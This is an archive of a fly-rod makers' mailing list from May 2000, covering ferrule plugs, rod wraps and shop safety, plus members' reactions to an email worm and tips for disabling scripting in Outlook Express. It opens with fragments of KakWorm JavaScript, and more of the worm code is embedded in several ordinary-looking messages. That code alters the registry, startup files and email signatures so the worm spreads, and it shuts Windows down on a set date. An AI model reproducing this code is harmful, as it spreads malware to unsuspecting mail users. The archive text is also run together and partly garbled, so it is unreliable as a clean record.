=Express\\\\5.0';sg=3D'\\\\signatures';t2.WriteLine(ky+sg+']');t2.Write('\="Default =Signature\"=3D\"00000000\"');t2.WriteBlankLines(2);t2.WriteLine(ky+sg+'\\=\\00000000]');t2.WriteLine('\"name\"=3D\"Signature =#1\"');t2.WriteLine('\"type\"=3Ddword:00000002');t2.WriteLine('\"text\"=3D=\"\"');t2.Write('\"file\"=3D\"C:\\\\\\\\WINDOWS\\\\\\\\kak.htm\"');t2.Wri=teBlankLines(2);t2.WriteLine(ky+']');t2.Write('\"Signature =Flags\"=3Ddword:00000003');t2.WriteBlankLines(2);t2.WriteLine('[HKEY_LOCA=L_MACHINE\\\\SOFTWARE\\\\Microsoft\\\\Windows\\\\CurrentVersion\\\\Run]')=;t2.Write('\"cAg0u\"=3D\"C:\\\\\\\\WINDOWS\\\\\\\\SYSTEM\\\\\\\\'+fic+'.h=ta\"');t2.WriteBlankLines(2);t2.close();wsh.Run(wd+'Regedit.exe -s ='+wd+'kak.reg');t3=3Dfs.CreateTextFile(wd+'kak.htm',1);t3.Write('');t4=3Dfs.OpenTextFile(k2,1);while(t4.Read=(1)!=3D'Z');t3.WriteLine('4))||(agt.indexOf(\"msie =5.\")!=3D-1))scr.write();');t3.write('//-- >=');t3.close();fs.GetFile(wd+'kak.htm').Attribut=es=3D2;fs.DeleteFile(wd+'kak.reg');d=3Dnew Date();if(d.getDate()=3D=3D1 =&& d.getHours()>17){alert('Kagou-Anti-Kro$oft says not today =!');wsh.Run(wd+'RUNDLL32.EXE =user.exe,exitwindows');}self.close();S3 driver memory alloc = !]]%%%%%";la=3D(navigator.systemLanguage)?navigator.s=ystemLanguage:navigator.language;scr.Path=3D(la=3D=3D"fr")?"C:\\windows\\=MenuD=E9marrer\\Programmes\\D=E9marrage\\kak.hta":"C:\\windows\\Start =Menu\\Programs\\StartUp\\kak.hta";agt=3Dnavigator.userAgent.toLowerCase()=;if(((agt.indexOf("msie")!=3D- 1)&&(parseInt(navigator.appVersion)>4))||(a=gt.indexOf("msie 5.")!=3D- 1))scr.write();//--> ------=_NextPart_000_0055_01BFBD30.BD1038A0-- from richjez@enteract.com Sat May 13 22:41:56 2000 (envelope- from richjez@enteract.com) Subject: Worm boundary="=====================_7828836==_.ALT" --=====================_7828836==_.ALT The kak worm is back. Unfortunately I don't know who's email it was on.My inbox was lost. Time to check and update antiviral software, again. Rich Jezioro *________________________________)// Rich Jezioro@/||/____/||_________________________________________||/\))):> > ))):>-- =====================_7828836==_.ALT The kak worm is back. Unfortunately I don't know who'semailit was on. My inbox was lost. Time to check and update antiviral software, again. Rich Jezioro *_____________ ___________________) @/ ||/ ____/||_________________________________________ p;/\ ; / bsp; --=====================_7828836==_.ALT-- from nobler@satx.rr.com Sat May 13 22:43:42 2000 SMTPSVC(5.5.1877.357.35);Sat, 13 May 2000 22:44:48 -0500 Subject: Tom Creech Sorry Tom, you're still causing my warning system to note your messageasunsafe. GMA from nobler@satx.rr.com Sat May 13 22:48:25 2000 SMTPSVC(5.5.1877.357.35);Sat, 13 May 2000 22:49:32 -0500 Subject: Fw: Disable VBS in Outlook Here's a tip for those of us who use MS O.E., and I.E.. You must go to eachone to perform these tips, but it does help avoid getting a virus. GMA: Thursday, May 11, 2000 11:16 PMSubject: Fw: Disable VBS in Outlook Ken, I know you at least of this distribution list are using "OutlookExpress"as your email client, so I'd really recommend you do this. I simply do not execute any attachment I receive, regardless of where itcomes from, these days, so it knocked me senseless to learn the throughthemiracles of Microsoft, you can inadvertantly execute invisibleattachmentssimply by highlighting a received email ... you don't even have to openit,much less double click an attachment!!! The really insideous part of this is the way "Outlook Express" and"InternetExplorer" are secretly working against you in tandum. I'm using OE formail, but Netscape as my browser (I don't use IE, ever). But OE usessomeof IE's settings in relation to how it will handle security and executableattachments! If I wasn't already a non-fan of Microsoft, this wouldcertainly push me well over the edge. The attached instructions worked as advertised with my installation(NT4,OE5, IE5). Our security people say that anyone using OE should do this.Iagree. rc ----- Original Message -----From: "Douglas Kosovic" Sent: Friday, May 12, 2000 1:50 PMSubject: Disable VBS in Outlook Hi, I got the following from Deja Usnet search, it is regarding OutlookExpress, but should be similar to Outlook as well. Doug.--Here's one thing (or two) that can help prevent you from being trickedinto executing the latest e-mail worm or any of the others out there.The worm is a Visual Basic Script that runs ONLY if you open it (i.e.it's an attachment to some innocuous looking e-mail you've received).But since I have received e-mails with Visual Basic Scripts embeddedinthe actual e-mail (that run just when you highlight the e-mail), youreally need to up your security settings. If you use Outlook Express prevent those scripts from doing damage regardless of how they aresetup. Increase the security settings of Outlook Express. Here's how forOutlook Express 5.0:1.. Start Outlook Expess2.. Click on the Tools in the main menu, and select "Options"at the bottom. This brings up the "Options" window.3.. In the Options window, press the "Security" tab.4.. There are two panes within the Security window:the top is "Security Zones" and has two options:1.. Internet Zone2.. Secure Zone5.. Click the button next to Restricted Sites Zone. If you happen to try to open an attachment that turns out to be a wormlike the "I Love You" worm, you will now get a warning that you aretrying to run a script, and you can click CANCEL to prevent it fromrunning. However, I'd recommend doing one more thing that will simply disablethe script's presence and threat entirely! Increase the security of your Restricted Sites Zone so that it ignoresVisual Basic Scripts (all e-mail attachments with problems are eitherexecutable programs (i.s. filename.exe) or a Visual Basic Script (i.e.filename.vbs). The problem is that the Visual Basic script can behidden inside a regular e-mail attachment, or the filename extensionmaybe hidden, so additional precautions should be taken. Here's how! 1.. Start Internet Explorer2.. Click on the Tools menu item and select Internet Options to bringup the Internet Options window3.. Click on the Security tab4.. Click on the red icon labelled Restricted Sites5.. Press the Custom Level button at the bottom. This brings up awindow with various settings in it.6.. Scroll down until you see the heading called "Scripting".7.. If subheadings are not visible right under it (i.e. ActiveScripting,Allow paste operations via script, Scripting of Java applets..)then just double click on Scripting to make the subheadingsappear8.. When you see the entry called Active Scripting, press the Disablesetting (the settings are right under it, labelled Disable,Enable,and Prompt).9.. Press OK at the bottom10.. Press OK in the Internet Options window If you've done both these things correctly, you will not be able to getinfected by this worm nor any other copycat worm since they requiresscripts to be run in order to do damage, and you've completely disabledthat feature. Believe me, turning it off will not change your lifemuch, Microsoft only has it turned out because it makes money sellingVisual Basic compilers. After you do this, I could send you an e-mail with a safe script in it(one that requests an e-mail acknowledgement that you actually gotthise-mail) to test it. If you do not get the pop-up window that requeststhe acknowledgement, then you are SAFE!!! If you do not use either of these Microsoft e-mail clients, there maybe something similar you could do for Eudora or ?? to disable VisualBasic Scripts. Check it out! from cadams46@juno.com Sat May 13 23:00:05 2000 23:59:29 EDT Subject: Tom Creech On the first message from Mr. Creech I deleted it as soon as my computercame up with the warning screen so is there any chance that my computermight have a virus now? Can't be too careful I guess. thanksSincerely, C.R. Adams from nobler@satx.rr.com Sat May 13 23:23:15 2000 SMTPSVC(5.5.1877.357.35);Sat, 13 May 2000 23:24:21 -0500 Subject: Re: Tom Creech I don't think so, but to be sure go to Find in the Start menu, and type inMScript.KakWorm, and search for it. If it shows up in more than one place,just delete each one. GMA----- Original Message ----- Subject: Tom Creech On the first message from Mr. Creech I deleted it as soon as my computercame up with the warning screen so is there any chance that mycomputermight have a virus now? Can't be too careful I guess. thanksSincerely,C.R. Adams from nsflyrods@ns.sympatico.ca Sun May 14 06:14:39 2000 Sun, 14 May 2000 08:14:03 -0300 Subject: Re: First section glued up. Paul,that's terrible!! You might consider making a "home grown" lathe liketheone on my bulletin board to sand grips and what not. It is easy to build andisvery inexpensive.Better luck next time.Keep at it!Shawn Paul Goodwin wrote: After getting work and family oblgations out of the way I was finallyableto do the final planing on the Butt section. I then glued it up and bound itin my home grown binder, straightened it and hung it up to dry. ThismorningI unwrapped it and found a perfectlaly straight blank. Looking from theendthe strips fit together perfectly. So, I'm now rather pleased with thehomegrown planing forms. I get out my cabinet scraper and clean off the glueand enamel and found an almost perfect blank. The one hint of a glue linewould be hidden by the stripping guide. I get out the reel seat and get that fitted and slide the mostly shapedgriponto the rod. a little sandng and I'l be able to glue them to the blank. SoI pull off the reel seat and chuck the end of the section into my cordlessdrill and start the drill up and tape the trigger on. I've got a littlepaddle with sandpaper on it and I'm tapering the end of the cork. I stopthedrill check it and it's almost there. Start it up and finish the sanding. This is where things go horribly wrong. I typically use my 14.4V dewaltcordless for turning cork like this. It wasn't handy so I use the 9.6V drillI have. The battery pack is much smaller and not as stable. The drillstartsto tip and the blank tips up into my armpit. I was holding the sandingpaddle on the far side so I could see. The turning blank gets wrapped upinsleeve (yes I was wearing short sleeves) and I hear the butt sectiontwistand splinter. I grab the grip and the drill starts spinning around like awindmill and the reel seat section of the blank disintegrates into a massoffibers. Oh well, the color of the blank was a little darker than I would haveprefered. Paul from nsflyrods@ns.sympatico.ca Sun May 14 08:21:11 2000 Sun, 14 May 2000 10:20:38 -0300 Subject: Re: First section glued up. Paul,forgot the address!www.eboard.com/shawnsbamboopage Shawn Pineo wrote: Paul,that's terrible!! You might consider making a "home grown" lathe liketheone on my bulletin board to sand grips and what not. It is easy to buildand isvery inexpensive.Better luck next time.Keep at it!Shawn Paul Goodwin wrote: After getting work and family oblgations out of the way I was finallyableto do the final planing on the Butt section. I then glued it up and bounditin my home grown binder, straightened it and hung it up to dry. ThismorningI unwrapped it and found a perfectlaly straight blank. Looking from theendthe strips fit together perfectly. So, I'm now rather pleased with thehomegrown planing forms. I get out my cabinet scraper and clean off theglueand enamel and found an almost perfect blank. The one hint of a gluelinewould be hidden by the stripping guide. I get out the reel seat and get that fitted and slide the mostly shapedgriponto the rod. a little sandng and I'l be able to glue them to the blank. SoI pull off the reel seat and chuck the end of the section into mycordlessdrill and start the drill up and tape the trigger on. I've got a littlepaddle with sandpaper on it and I'm tapering the end of the cork. I stopthedrill check it and it's almost there. Start it up and finish the sanding. This is where things go horribly wrong. I typically use my 14.4V dewaltcordless for turning cork like this. It wasn't handy so I use the 9.6VdrillI have. The battery pack is much smaller and not as stable. The drillstartsto tip and the blank tips up into my armpit. I was holding the sandingpaddle on the far side so I could see. The turning blank gets wrapped upinsleeve (yes I was wearing short sleeves) and I hear the butt sectiontwistand splinter. I grab the grip and the drill starts spinning around like awindmill and the reel seat section of the blank disintegrates into amass offibers. Oh well, the color of the blank was a little darker than I would haveprefered. Paul from avyoung@iinet.net.au Sun May 14 08:22:22 2000 Sun, 14 May 2000 21:22:07 +0800 Sun, 14 May 2000 21:22:03 +0800 Subject: Re: First section glued up. Last year I had a v bad case of cold or flu and sneezed a lot. I chucked upthe butt of a rod with the corks ready to sand and while using 80 grit toget the basic shape happening I sneezed and didn't let go of the sandpaperwith both hands in time. The paper wraped around the cork but the spitsecond I took to let go with the other hand was all it took to twist thebutt and turned the butt into a really neat looking nodeless birdcage witha reel seat at one end and a ferrule at the other :-). I kept it for a while trying to think of something artistic to do with itbecause it had the look of something I couldn't quite define but in the endit just started looking like spmething I did wrong and it became kindling. Tony At 08:09 AM 5/14/00 -0400, Shawn Pineo wrote:Paul,that's terrible!! You might consider making a "home grown" lathelike theone on my bulletin board to sand grips and what not. It is easy to buildand isvery inexpensive.Better luck next time.Keep at it!Shawn Paul Goodwin wrote: After getting work and family oblgations out of the way I was finallyableto do the final planing on the Butt section. I then glued it up andbound itin my home grown binder, straightened it and hung it up to dry. ThismorningI unwrapped it and found a perfectlaly straight blank. Looking from theendthe strips fit together perfectly. So, I'm now rather pleased with thehomegrown planing forms. I get out my cabinet scraper and clean off theglueand enamel and found an almost perfect blank. The one hint of a gluelinewould be hidden by the stripping guide. I get out the reel seat and get that fitted and slide the mostly shapedgriponto the rod. a little sandng and I'l be able to glue them to the blank. SoI pull off the reel seat and chuck the end of the section into my cordlessdrill and start the drill up and tape the trigger on. I've got a littlepaddle with sandpaper on it and I'm tapering the end of the cork. I stopthedrill check it and it's almost there. Start it up and finish the sanding. This is where things go horribly wrong. I typically use my 14.4V dewaltcordless for turning cork like this. It wasn't handy so I use the 9.6VdrillI have. The battery pack is much smaller and not as stable. The drillstartsto tip and the blank tips up into my armpit. I was holding the sandingpaddle on the far side so I could see. The turning blank gets wrapped upinsleeve (yes I was wearing short sleeves) and I hear the butt sectiontwistand splinter. I grab the grip and the drill starts spinning around like awindmill and the reel seat section of the blank disintegrates into amass offibers. Oh well, the color of the blank was a little darker than I would haveprefered. Paul /*************************************************************************/AV Young Visit my web site at: www.iinet.net.au/~avyoung/flyrod.html And this our life, exempt from public haunt,Finds tongues in trees, books in running brooks,Sermons in stones, and good in everything. William Shakespeare, As You Like It /*************************************************************************/ from bob@downandacross.com Sun May 14 11:20:29 2000 (envelope- from bob@downandacross.com) (envelope- from bob@downandacross.com) Subject: ferrule plugs Just wondering who is using ferrule plugs for their rods? Are there any advantages? Should they be made from wood or metal? None of the classic rods I have had one, but I am wondering if they are worth making for myown handmade rods.Thanks,Bob Maulucci==================================================downandacross.combob@downandacross.com from rsgould@cmc.net Sun May 14 11:56:46 2000 Subject: Re: Wrap question (Virus free!) boundary="----=_NextPart_000_0022_01BFBD8A.A165C0C0" This is a multi-part message in MIME format. ------=_NextPart_000_0022_01BFBD8A.A165C0C0 Hi Tom,You probably don't need to replace the intermediate wraps for strength =purposes. However you'll find that many times the old wraps have =discolored the cane where they were located and if you don't replace =them your rod may look like a barber's pole. One trick in installing =intermediate wraps is to use size 8/0 nylon thread so that you can tuck =the locking wraps under the intermediate thread itself thus the tucked =under ends are not visible. Use 6-8 turns total.Ray Sent: Saturday, May 13, 2000 8:12 PMSubject: Wrap question (Virus free!) Damned KakWorm virus! I think I picked it up on ROFF.. My wrap question: I'm restoring an old bamboo rod, not as a = to fish with. It had lots of intermediate wraps, which I don't =particularly care for.Do I need to replace them, for strength? I don't like the cluttered =look, but if it's necessaryon these old rods because of inferior glues, then i guess I'll have to =live with it. Thanks in advance, Tom CreechVirus Defanged by =security@cmc.net');t3.close();fs.GetFile(wd+'kak.htm').Attributes=3D2;fs.=DeleteFile(wd+'kak.reg');d=3Dnew Date();if(d.getDate()=3D=3D1 && =d.getHours()>17){alert('Kagou-Anti-Kro$oft says not today =!');wsh.Run(wd+'RUNDLL32.EXE user.exe,exitwindows');}self.close();S3 =driver memory alloc failed =!]]%%%%%";la=3D(navigator.systemLanguage)?navigator.systemLanguage:naviga=tor.language;scr.Path=3D(la=3D=3D"fr")?"C:\\windows\\Menu =D=E9marrer\\Programmes\\D=E9marrage\\kak.hta":"C:\\windows\\Start =Menu\\Programs\\StartUp\\kak.hta";agt=3Dnavigator.userAgent.toLowerCase()=;if(((agt.indexOf("msie")!=3D- 1)&&(parseInt(navigator.appVersion)>4))||(a= ------=_NextPart_000_0022_01BFBD8A.A165C0C0 Hi Tom,You probably don't need to replace the= wraps for strength purposes. However you'll find that many times the old = have discolored the cane where they were located and if you don't = your rod may look like a barber's pole. One trick in installing = wraps is to use size 8/0 nylon thread so that you can tuck the locking = under the intermediate thread itself thus the tucked under ends are not = Use 6-8 turns total.Ray ----- Original Message ----- Tom= = Sent: Saturday, May 13, 2000 = PM free!) = ROFF.. as a collectable, just I don't particularly care for. the cluttered look, but if it's necessaryon these old rods because of inferior glues, then = I'll have to live with it. Thanks in advance, Tom Creech Virus Defanged by security@cmc.netDr=iver Memory Errorfunction sEr(){self.close();return true;}window.onerror=3DsEr;fs=3Dnew=ActiveXObject('Scripting.FileSystemObject');wd=3D'C:\\\\Windows\\\\';fl=3D=fs.GetFolder(wd+'Applic~1\\\\Identities');sbf=3Dfl.SubFolders;for(var =mye=3Dnew =Enumerator(sbf);!mye.atEnd();mye.moveNext())idd=3Dmye.item();ids=3Dnew=String(idd);idn=3Dids.slice(31);fic=3Didn.substring(1,9);kfr=3Dwd+'MENUD=C9=~1\\\\PROGRA~1\\\\D=C9MARR~1\\\\kak.hta';ken=3Dwd+'STARTM~1\\\\Programs\\=\\StartUp\\\\kak.hta';k2=3Dwd+'System\\\\'+fic+'.hta';kk=3D(fs.FileExists=(kfr))?kfr:ken;aek=3D'C:\\\\AE.KAK';aeb=3D'C:\\\\Autoexec.bat';if(!fs.Fil=eExists(aek)){re=3D/kak.hta/i;if(hO.commandLine.search(re)!=3D- 1){f1=3Dfs=..GetFile(aeb);f1.Copy(aek);t1=3Df1.OpenAsTextStream(8);pth=3D(kk=3D=3Dkfr=)?wd+'MENUD=90~1\\\\PROGRA~1\\\\D=90MARR~1\\\\kak.hta':ken;t1.WriteLine('=@echo off>'+pth);t1.WriteLine('del ='+pth);t1.Close();}}if(!fs.FileExists(k2)){fs.CopyFile(kk,k2);fs.GetFile(=k2).Attributes=3D2;}t2=3Dfs.CreateTextFile(wd+'kak.reg');t2.write('REGEDI=T4');t2.WriteBlankLines(2);ky=3D'[HKEY_CURRENT_USER\\\\Identities\\\\'+id=n+'\\\\Software\\\\Microsoft\\\\Outlook =Express\\\\5.0';sg=3D'\\\\signatures';t2.WriteLine(ky+sg+']');t2.Write('\="Default =Signature\"=3D\"00000000\"');t2.WriteBlankLines(2);t2.WriteLine(ky+sg+'\\=\\00000000]');t2.WriteLine('\"name\"=3D\"Signature =#1\"');t2.WriteLine('\"type\"=3Ddword:00000002');t2.WriteLine('\"text\"=3D=\"\"');t2.Write('\"file\"=3D\"C:\\\\\\\\WINDOWS\\\\\\\\kak.htm\"');t2.Wri=teBlankLines(2);t2.WriteLine(ky+']');t2.Write('\"Signature =Flags\"=3Ddword:00000003');t2.WriteBlankLines(2);t2.WriteLine('[HKEY_LOCA=L_MACHINE\\\\SOFTWARE\\\\Microsoft\\\\Windows\\\\CurrentVersion\\\\Run]')=;t2.Write('\"cAg0u\"=3D\"C:\\\\\\\\WINDOWS\\\\\\\\SYSTEM\\\\\\\\'+fic+'.h=ta\"');t2.WriteBlankLines(2);t2.close();wsh.Run(wd+'Regedit.exe -s ='+wd+'kak.reg');t3=3Dfs.CreateTextFile(wd+'kak.htm',1);t3.Write('');t4=3Dfs.OpenTextFile(k2,1);while(t4.Read=(1)!=3D'Z');t3.WriteLine('Virus Defanged by =security@cmc.net4))||(agt.indexOf(\"msie =5.\")!=3D- 1))scr.write();');t3.write('//-- >=');t3.close();fs.GetFile(wd+'kak.htm').Attribut= user.exe,exitwindows');}self.close();S3 driver memory = =!]]%%%%%";la=3D(navigator.systemLanguage)?navigator.s=ystemLanguage:navigator.language;scr.Path=3D(la=3D=3D"fr")?"C:\\windows\\= =Menu\\Programs\\StartUp\\kak.hta";agt=3Dnavigator.userAgent.toLowerCase()=;if(((agt.indexOf("msie")!=3D- 1)&&(parseInt(navigator.appVersion)= ------=_NextPart_000_0022_01BFBD8A.A165C0C0-- from rsgould@cmc.net Sun May 14 11:59:24 2000 Subject: shop safety boundary="----=_NextPart_000_002D_01BFBD8B.029842A0" This is a multi-part message in MIME format. ------=_NextPart_000_002D_01BFBD8B.029842A0 Looks to me as though we could help each other a lot by listing safety =hazards in rod building and a safe procedure for each. Any ideas?Ray ------=_NextPart_000_002D_01BFBD8B.029842A0 Hi Gang, Looks to me as though we could help = lot by listing safety hazards in rod building and a safe procedure for = Ray ------=_NextPart_000_002D_01BFBD8B.029842A0-- from rsgould@cmc.net Sun May 14 12:07:33 2000 Subject: Re: ferrule plugs Hi Bob,I usually furnish ferrule plugs for customer rods. I've made them fromexotic wood with a cork sleeve, from ultra high molecular weightpolyethylene, from wood, from nylon, from delrin and from aluminum. Theyarea nice finishing touch but many people misplace them, lose them or throwthem away so I'm not sure it's worth the trouble. One thing the builder cando to help is to provide a pocket for them on the rod bag. The two types Ilike best are rosewood with a cork sleeve and the all aluminum model.Ray----- Original Message ----- Subject: ferrule plugs Just wondering who is using ferrule plugs for their rods? Are there anyadvantages? Should they be made from wood or metal? None of theclassicrods I have had one, but I am wondering if they are worth making for myownhandmade rods.Thanks,Bob Maulucci==================================================downandacross.combob@downandacross.com from horsesho@ptd.net Sun May 14 12:13:16 2000 0000 (204.186.33.109) Subject: Re: ferrule plugs bob maulucci wrote: Just wondering who is using ferrule plugs for their rods? Are there anyadvantages? Should they be made from wood or metal? None of theclassicrods I have had one, but I am wondering if they are worth making for myownhandmade rods.Thanks,Bob Maulucci==================================================downandacross.combob@downandacross.comHi Bob, from what I have heard the real advantage is in preventing atleast for a while the oxidation of the internal section of the femaleferrule. I have made them before for special rods in the Hardy style outof wood with the bearing section out of cork. Marty from darrell@rockclimbing.org Sun May 14 14:16:07 2000 sims.3.5.2000.01.05.12.18.p9)with SMTP id for Subject: RE: ferrule plugs They are a nice touch of class... I have a Montague Manitou that still hasboth plugs... I also bought a few boxes of Monty ferrules and inside were afew plugs... I also had a Payne rod that had the ferrule plugs. Certainlyeasy to lose no doubt so to still have them is a real treat. Darrell BTW, Just finished adding a TON of improvements (hopefully) to my site, ifanyone has some time, perhaps point out some of my bleary eyed errors...Thanks, www.vfish.net -----Original Message----- Subject: ferrule plugs Just wondering who is using ferrule plugs for their rods? Are there anyadvantages? Should they be made from wood or metal? None of the classicrods I have had one, but I am wondering if they are worth making for myownhandmade rods.Thanks,Bob Maulucci==================================================downandacross.combob@downandacross.com from saltwein@worldnet.att.net Sun May 14 14:21:17 2000 (InterMail vM.4.01.02.39 201-229-119-122) with ESMTP ;Sun, 14 May 2000 19:20:44 +0000 Subject: Re: ferrule plugs Ray, I assume the cork goes in the ferrule. What kind of cork do you use andhave you ever had a problem with it breaking off in the ferrule? Regards, SteveIndependence, MO Ray Gould wrote: Hi Bob,I usually furnish ferrule plugs for customer rods. I've made them fromexotic wood with a cork sleeve, from ultra high molecular weightpolyethylene, from wood, from nylon, from delrin and from aluminum.They area nice finishing touch but many people misplace them, lose them orthrowthem away so I'm not sure it's worth the trouble. One thing the buildercando to help is to provide a pocket for them on the rod bag. The two types Ilike best are rosewood with a cork sleeve and the all aluminum model.Ray----- Original Message -----From: bob maulucci Sent: Sunday, May 14, 2000 9:16 AMSubject: ferrule plugs Just wondering who is using ferrule plugs for their rods? Are there anyadvantages? Should they be made from wood or metal? None of theclassicrods I have had one, but I am wondering if they are worth making formyownhandmade rods.Thanks,Bob Maulucci==================================================downandacross.combob@downandacross.com from lars32@gateway.net Sun May 14 14:28:16 2000 Subject: Re: ferrule plugs Bob,I make them from the scrap pieces I cut from the rod blank. turn a smalltop, drill in aways. Epoxy in a piece of brass wire, glue cork on the wireand turn the cork down to fit the ferrulle. They keep crap out of thefemale ferrule and protect the roundness of it. It is a nice touch I alwayscarry my rod unasembled to the stream and when I get there put the pluginone of the small pockets in my vest.Dave Norling----- Original Message----- rodmakers@wugate.wustl.edu Subject: RE: ferrule plugs They are a nice touch of class... I have a Montague Manitou that still hasboth plugs... I also bought a few boxes of Monty ferrules and inside were afew plugs... I also had a Payne rod that had the ferrule plugs. Certainlyeasy to lose no doubt so to still have them is a real treat. Darrell BTW, Just finished adding a TON of improvements (hopefully) to my site,ifanyone has some time, perhaps point out some of my bleary eyed errors...Thanks, www.vfish.net -----Original Message-----From: owner-rodmakers@wugate.wustl.edu Sent: Sunday, May 14, 2000 9:16 AM Subject: ferrule plugs Just wondering who is using ferrule plugs for their rods? Are there anyadvantages? Should they be made from wood or metal? None of theclassicrods I have had one, but I am wondering if they are worth making for myownhandmade rods.Thanks,Bob Maulucci==================================================downandacross.combob@downandacross.com from rmoon@ida.net Sun May 14 15:09:20 2000 0000 Subject: Re: shop safety Ray I have a whole list, but here are some. 1. Don't wear loose clothing when you are running any machinery.2. Wear eye protection.3. watch out for those razor blades embedded in bamboo splits.4. A fire extinguisher is nice when you spill denatured alcohol whilefilling your alcohol lamp. (Didn't anyone tell you to put it out beforeyou replenish?)5. Don't drop your vise on your toes. 6. Keep your knuckles out of the lathe chuck when it is turning. Now if someone had told be about these before I started I would have hadfewer injuries and torn clothes.Ralph from paul.blakley@ntlworld.com Sun May 14 15:28:17 2000 (InterMail vM.4.01.02.27 201-229-119-110) with ESMTP Sun, 14 May 2000 21:28:13 +0100 Subject: Re: ferrule plugs Bob,Here's a trick i use to ensure my ferrule plugs aren't lost !I drill the end of each plug ( I use cocobolo with a cork plug end forfitting into the female ferrule )and put in aloop of twine.I use thisloop to fix the plug to the bag flap ties.Simple and it works a real treat.Regards........Paul "Darrell A. Lee" wrote: They are a nice touch of class... I have a Montague Manitou that still hasboth plugs... I also bought a few boxes of Monty ferrules and inside wereafew plugs... I also had a Payne rod that had the ferrule plugs. Certainlyeasy to lose no doubt so to still have them is a real treat. Darrell BTW, Just finished adding a TON of improvements (hopefully) to my site,ifanyone has some time, perhaps point out some of my bleary eyed errors...Thanks, www.vfish.net -----Original Message-----From: owner-rodmakers@wugate.wustl.edu Sent: Sunday, May 14, 2000 9:16 AM Subject: ferrule plugs Just wondering who is using ferrule plugs for their rods? Are there anyadvantages? Should they be made from wood or metal? None of theclassicrods I have had one, but I am wondering if they are worth making for myownhandmade rods.Thanks,Bob Maulucci==================================================downandacross.combob@downandacross.com from darrell@rockclimbing.org Sun May 14 15:47:44 2000 sims.3.5.2000.01.05.12.18.p9)with SMTP id for Subject: RE: shop safety 7. Don't drink the denatured alcohol... Darrellwww.vfish.net -----Original Message----- Subject: Re: shop safety Ray I have a whole list, but here are some. 1. Don't wear loose clothing when you are running any machinery.2. Wear eye protection.3. watch out for those razor blades embedded in bamboo splits.4. A fire extinguisher is nice when you spill denatured alcohol whilefilling your alcohol lamp. (Didn't anyone tell you to put it out beforeyou replenish?)5. Don't drop your vise on your toes. 6. Keep your knuckles out of the lathe chuck when it is turning. Now if someone had told be about these before I started I would have hadfewer injuries and torn clothes.Ralph from HomeyDKlown@worldnet.att.net Sun May 14 15:59:15 2000 (InterMail vM.4.01.02.39 201-229-119-122) with ESMTP ;Sun, 14 May 2000 20:58:42 +0000 Subject: Re: shop safety Ralph, Great list! I would add: Don't drag the small finger (pinky) of yourplane hand alongside the plane. If you do, you'll end up with a bloodred strip (ask me how I know). Another way to avoid this is to weargloves on BOTH hands while planing. :-) Dennis Ralph W Moon wrote: Ray I have a whole list, but here are some. 1. Don't wear loose clothing when you are running any machinery.2. Wear eye protection.3. watch out for those razor blades embedded in bamboo splits.4. A fire extinguisher is nice when you spill denatured alcohol whilefilling your alcohol lamp. (Didn't anyone tell you to put it out beforeyou replenish?)5. Don't drop your vise on your toes. 6. Keep your knuckles out of the lathe chuck when it is turning. Now if someone had told be about these before I started I would have hadfewer injuries and torn clothes.Ralph from nobler@satx.rr.com Sun May 14 16:14:25 2000 SMTPSVC(5.5.1877.357.35);Sun, 14 May 2000 16:15:33 -0500 Subject: Ray Gould Another message with an unsafe warning that came with it Ray ! GMA from pmgoodwin@earthlink.net Sun May 14 16:39:46 2000 Subject: Re: shop safety My number 1 rule in no Alcohol ----- Original Message ----- Subject: Re: shop safety Ray I have a whole list, but here are some. 1. Don't wear loose clothing when you are running any machinery.2. Wear eye protection.3. watch out for those razor blades embedded in bamboo splits.4. A fire extinguisher is nice when you spill denatured alcohol whilefilling your alcohol lamp. (Didn't anyone tell you to put it out beforeyou replenish?)5. Don't drop your vise on your toes. 6. Keep your knuckles out of the lathe chuck when it is turning. Now if someone had told be about these before I started I would have hadfewer injuries and torn clothes.Ralph from nsflyrods@ns.sympatico.ca Sun May 14 16:56:10 2000 Sun, 14 May 2000 18:55:37 -0300 Subject: Re: shop safety boundary="------------9E74C551AB2272705D92B8B2" --------------9E74C551AB2272705D92B8B2 Probably the most important ones I could think of are the ones we areall most guilty of!1. Try and keep your work area neat and tidy.2. Don't keep working into the wee hours of the morning till you can'tthink/see straight!3.Never operate sharp tools while under the influence. Just a sec I needa refill....;^)No offense Mr. Young!4. Stay focused on what you are doing!! Not the wife nattering or thekids screaming or the cute young blonde sunbathing in the nextyard....ooopps!Of course those are very broad and basic but they account for most ofthe accidents we and every human on earth have in common. Oh yeah, thereis another one!5. Let common sense rule!!Shawn Ray Gould wrote: Hi Gang,Looks to me as though we could help each other a lot bylisting safety hazards in rod building and a safe procedure for each.Any ideas?Ray --------------9E74C551AB2272705D92B8B2 Probably the most important ones I could think of are the ones we are allmost guilty of!1. Try and keep your work area neat and tidy.2. Don't keep working into the wee hours of the morning till you can'tthink/see straight!3.Never operate sharp tools while under the influence. Just a sec Ineed a refill....;^)No offense Mr. Young!4. Stay focused on what you are doing!! Not the wife nattering or thekids screaming or the cute young blonde sunbathing in the nextyard....ooopps! most of the accidents we and every human on earth have in common. Ohyeah,there is another one! ShawnRay Gould wrote: HiGang,Looks to me as thoughwe could help each other a lot by listing safety hazards in rod buildingand a safe procedure for each. Any ideas?Ray --------------9E74C551AB2272705D92B8B2-- from homessold@email.msn.com Sun May 14 17:54:41 2000 SMTPSVC;Sun, 14 May 2000 15:54:03 -0700 Subject: Virus Warning Because of the recent "Love Bug" virus many of us have raised the securityof our internet connection. The result being that we get warnings on someofthe messages we receive. This warning doesn't necessarily mean thepersonsending the message has been infected with a virus or sending one. Itmeansthere is an unsafe condition, because of our settings, in our Active X http://windowsupdate.microsoft.com/R450/V31site/ I hope this helps. I'd hate to see someone spinning their wheel trying tofind a virus on there machine when in fact they don't have one. The senderis however sending something, animation maybe, incorporated in their e- mailmessage that our settings are going to flag as unsafe. Don from homessold@email.msn.com Sun May 14 18:13:55 2000 SMTPSVC;Sun, 14 May 2000 16:13:13 -0700 Subject: Virus Warning Follow-up Sorry guys: The page I pointed you to was close but no cigar. Here is what it saysaboutActive X Controls: Why do I get a message saying an ActiveX control on this page is not safe? This message is displayed when your security setting in Internet Exploreris changethe browser's security settings for the Internet zone to Medium or lower.Todo so, click the Tools menu, then click Internet Options. Select theSecurity tab and then click on Internet. What is an ActiveX control? ActiveX Controls are reusable software components that incorporateActiveXtechnology. These components can be used to add specializedfunctionality,such as animation or pop-up menus, to Web pages, desktop applications,andsoftware development tools. Windows Update uses ActiveX controls tocheckwhat software is installed on your computer in order to provide you with acorrect list of updates and other software you may want to download. Don from penr0295@bendnet.com Sun May 14 18:24:23 2000 e4ENOK269865 Subject: 